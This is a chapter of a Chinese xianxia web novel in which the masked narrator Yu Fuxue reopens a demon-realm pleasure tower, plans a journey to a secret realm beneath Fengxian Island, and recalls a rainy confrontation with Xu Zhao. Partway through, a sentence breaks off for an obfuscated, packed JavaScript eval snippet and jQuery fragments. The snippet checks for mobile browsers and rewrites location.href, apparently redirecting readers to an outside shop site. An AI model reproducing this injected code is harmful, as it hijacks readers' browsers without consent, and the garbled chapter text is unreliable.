默认冷灰
24号文字
方正启体

31. 逢仙岛海底境

作者:Luminouk本书字数:K更新时间:
    钟鸣三声罢,鼓乐喧天。


    妖界的吾艳楼在前些时日易主,全楼闭门数月,血腥味浓得惊动妖王祝青蚨。


    其门大开,祝青蚨进去后不到一个时辰,便笑意盈盈地走出,两手空空,无事发生,什么人或妖的头都没提,众妖惊叹不已。


    从此,吾艳楼在妖王祝青蚨的默许下继续存在。


    并于今日,正式改名为梧言楼。


    重新开门,广纳妖客。


    我趴在梧言楼五层的栏杆向下眺望,手托在面具上,手指跟着曲乐轻叩,面具黑底金纹,夹杂红色细纹点缀。


    梧言楼内的金鳞灯灵光闪烁,照过面具,瞬显千百恶面,又眨眼间消散不见,徒留狰狞恶鬼相。


    下方热闹至极,妖客们甫一进入,就被那灵兽珍馐,以及舞乐美姬吸引,眼中放光,迫不及待地投入其中。


    当初在萧城,陈青芜点化的两姐妹带着孟竹臣从楼梯上来,我听见声音,站直身体,转身面朝他们三人,并未迎上去。


    “回来了?”我笑道。


    孟竹臣如今一身劲装更显利落,腰间绑着个酒壶,里面温养着常善的魂。


    他向身边的杏梧、杏言两姐妹——也就是那对红杏化作的小妖,点头言谢。


    她们没动,均抬眸望向我。


    “今天梧言楼重开第一日,可能琐事颇多,需要麻烦你们费心,事后想要什么,尽管和我说,我都会尽力办到。”


    杏梧率先捂着嘴咯咯笑,声音动听:“郎君,我们什么也不要,您送我们的这个大礼已经足够珍贵了。”


    杏言也道:“有郎君在,怕什么?那祝青蚨今日也会来,可需要仔细招待着他?”


    想起那直率无比的妖王,我背过手,“不必,吊着他,才能让他往外掏钱。”


    杏梧知晓后欠身道:“那我二人便先下去了。”


    我转过身,带孟竹臣往五楼最内层的包间去,进门后,门自动合上,来时的走廊开始移动,空间被打乱。


    关上门,金色符阵浮出瞬息,很快隐没。


    孟竹臣坐下后倒出壶中热茶。


    “负雪,”他一口饮尽,“世间大乱,位于逢仙岛下的海底秘境已有所响应,不日将应运重开,据传我们要的那棵泣株种子,就在秘境深处的某个地方。”


    逢仙岛本来只是个桃花遍布的无名岛,相传有仙人曾在此地逗留,开辟海下秘境,非乱世秘境不开。


    此后,这岛就开始被人们改称逢仙岛,如此叫到现在。


    黄泉河被李晏京取走,用在何处,并无风声传出,我和孟竹臣收集各类书籍,连修真界野史都没放过,才找到一个能代替黄泉河的东西。


    其名“泣株”,多茎仙草,极其罕见,书中记载,泣株多生于乱世,为“类仙人”植株,不忍世间动乱,发芽成长后会自发吞噬天地之气,转化成大量灵气反补世间。


    不过真假难辨,书里说最后一颗种子几百年前被最后一位仙人丢到海底,落入逢仙岛下的海底秘境。


    “好。”我站在一边,点头应声。


    面具怒目笑颜着对孟竹臣,他坐在凳子上,默然片刻,移开视线。


    “魔修们还是在找你,他们已经找齐被封印的魔尊,以剩余的诡渡傅缝起了项席,但还缺……”


    我头稍侧,眼睛微弯,面具悠悠一转,变成绀青獠牙的嘲讽模样。


    “还缺能反噬当年李晏京沟通天道设下封印的魔蛊,缺我的血浸泡,让项席重回巅峰。”


    “不然那些低阶诡渡傅草草缝就的魔尊,可存在不了多久,是吗?”


    孟竹臣顿时哑然,抬眸一看,见我面具变化,目露担忧。


    触及这关怀备至的神色,我微怔,闭上眼稳住心神,五指摁于面具,其如活物般蠕动,重新扭成原来的黑底金纹模样。


    “……我没事,急不得,我知道。”缓过那股暴戾兴奋的劲儿,我放下手,对孟竹臣道:“明日就启程,前往逢仙岛。”


    孟竹臣这次却是沉默很久,他垂眼摸着腰间葫芦。


    “负雪,我知你不喜欢我们问你的身体的事儿,但你现在的体温,我坐在这儿都能感觉到冷。”


    这千面鬼寄生的面具很好用,能麻痹静脉,遮掩修为……


    且受我驱使,比腹中不太听话的幽冥火更得我心。


    只是戴久后,会影响修士心性,还会让人周身仿若处于冰窖一般。


    可我本身心性已经足够糟糕,寒冷比疼痛更使我着迷,这点儿影响不足为惧。


    我笑了一下,淡淡道:“抱歉。”


    孟竹臣的表情被我这两个疏离的字打得凝固,我知他听不得我这样说。


    辜负他的好意,我内心过意不去,却也很快压下。


    有陈青芜的事在前,程月舒和魔修们视我为眼中钉在后,我决心不再与任何人亲近。


    孟竹臣如此好脾气的人,被我气得又闷了两杯茶降火,重新转回正题。


    “逢仙岛此次秘境,各大门派都有所耳闻,仙人秘宝谁不想要,值此乱世,更是机缘。”


    “玄清宗那边也会派弟子去,听说领头的长老是长垣仙君。”


    我在包间内走动,时不时拨弄几下墙壁悬挂着的传音铃,指尖滑过曾溅满鲜血的雅帘。


    当初来妖界选择打下这楼,也是看其内里乾坤莫测,颇合我心意,再者,可以顺便收拢两姐妹,从此在妖界有个躲藏的落脚处。


    “他啊。”我叹出口气,“那程月舒也会来。”


    孟竹臣颇为讽刺道:“是,如今他得了你的金丹,已经步入后期修为,听闻长垣仙君让他压制,稳扎稳打为妙。嗤,炼气期一天走到金丹期时,怎么不说稳扎稳打。”


    说到这儿,孟竹臣又停了下来。


    我正瞧着青山飞鸟图出神,耳边没了声音,侧眸透过面具看去,孟竹臣在观察我的脸色。


    我其实很讨厌他们这一副小心翼翼看我脸色说话的模样,我清楚,我尚未堕落,用不着他们这样托着。


    “怎么了?”我垂下眼眸,略一思索就知道孟竹臣想说什么。


    “徐昭还是想见我?”我淡淡开口。


    那时候徐昭打晕孟竹臣的事,孟竹臣并不计较。


    我也清楚,这事儿主导的是陈青芜,他怕是早就给自己定了一个结局,瞒得我死死的。


    就算没有陈青芜的嘱托,孟竹臣冲过去,事态也不会有太大变化,魔修们不会让他阻止七窍玲珑心之人的献身的。


    “是啊,负雪,”孟竹臣无奈地笑,也没劝我,“还是不见?”


    面具再次变换,我同孟竹臣解释道:“他也是我的因果,因我迈入修真界,我不是怪他,只是不能再牵连他。”


    送走孟竹臣,我在屏风后的床上躺下,五指紧扣面具,用力将它从脸上撕扯而下,漆黑的根粘连断开,慢慢缩回面具边缘。


    我捂着嘴剧烈闷咳,拿出暗月剑放在手边,用胳膊挡住脸,侧身蜷缩而睡。


    那天碧泉镇的夜很黑。


    人化成血,竟只有这么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535187|203792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小部分。


    陈青芜死后,碧泉镇的状态便被破开。


    李晏京身边站着的是程月舒,我独自融在黑暗中,看着那个狼狈的自己站在一边。


    从拔剑以自身威胁李晏京,到摔碎簪子和玉佩遁逃,程月舒始终没有出过手,但他眼底尽是胜意。


    魔修当时感叹的魔蛊已熟,在场修士耳聪目明,全都听见了。


    徐昭跟过来,装得像模像样。


    一个不知存了什么心思接近我的人,一个和程月舒认识的人,拿出陈青芜给他的舍利子,说可能克制魔蛊。


    我拒绝了,焉知道,经他之手的东西会不会被加什么。


    再一回想,芙气镇可以不是巧合,溪城可以是障眼法,现在更可以是动真格。


    徐昭满脸歉意与纠结,他赶着找到我废了好一番工夫,人不敢靠近,只大半身子在屋外,手扶着门框,另一只手举着舍利子。


    我说:“滚远点,徐昭。”


    徐昭脸色稍白,他尴尬地笑了两声,外面夜色正浓,淅沥沥下着雨,他的后背被慢慢淋湿,没进来,却也没走。


    “郁负雪,”他不知道,叫我全名只会令我更加烦躁,“我真不知道你们说的程月舒就是陈书,他原来和我同一个镇子的,我……”


    说到这儿,他噎住了。


    因为梦里的我已经站起身,整个人阴郁至极,脖子上有凝固的血痕,那时候我定是听不进去的,理智和感情把我撕成两半。


    我剑尖轻轻点在徐昭的喉结上,微仰起头,眼睛半阖向下看他,“不重要。”


    徐昭的反应太奇怪,盛阳派的人是这种作风?他和陈青芜交易了什么我不会管,那是陈青芜的意愿,我没权力干涉。


    我和徐昭见过的次数顶多一巴掌的数,有什么能值得他这样跑来,剑指咽喉也不后退。


    “徐昭,你很久以前是不是见过我?”


    叮——


    一声清响,我骤然睁眼,单手叩上千面,另一只手握紧暗月剑,目光投去,墙上的传音铃在跃动。


    绕过屏风,并指以幽冥火弹响传音铃。


    里面传来杏梧的声音。


    “郎君,妖王要见您。”


    祝青蚨,那个想和我结为道侣的大妖。


    我将剑从右手换到左手,轻轻转动手腕,垂眸,声音淡淡,“不去。”


    杏梧那边静默片刻,应当是去传话,随即传音铃里再次传来声音:“妖王说,他愿意借您能遮掩天道窥探的法器,还带来了玄清宗的消息,但需要您亲自见他。”


    自从通过李晏京的态度,怀疑天道针对我时,我就想找到这种法器。


    天衍四十九,留一线生机。


    若我要从逢仙岛下的海底境获得机缘,有这样一层保护并不是坏事。


    修仙之路逆天而行,妖、魔、人,前两者难度高于正道修士,一者非人,二者业孽颇多,妖族定有和天道对立的法器。


    没想到祝青蚨真的给我弄来了。


    我转手腕的动作一顿,不过玄清宗的事我可没让他插手,“让他在一楼等我。”


    杏梧那边有些迟疑,声音慢吞,“一楼宾客众多,气味混杂,颇为吵嚷,他可是妖王,若他不乐意呢?”


    戴在脸上的千面瞬间变了个脸,连同我传出的声音都带着股笑,听着有些失真。


    我搓了搓冰凉的手指,觉出杏梧身边站着祝青蚨,她的话约莫是祝青蚨的话。


    “不会,祝青蚨堂堂妖王,难不成还惧怕被妖看?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)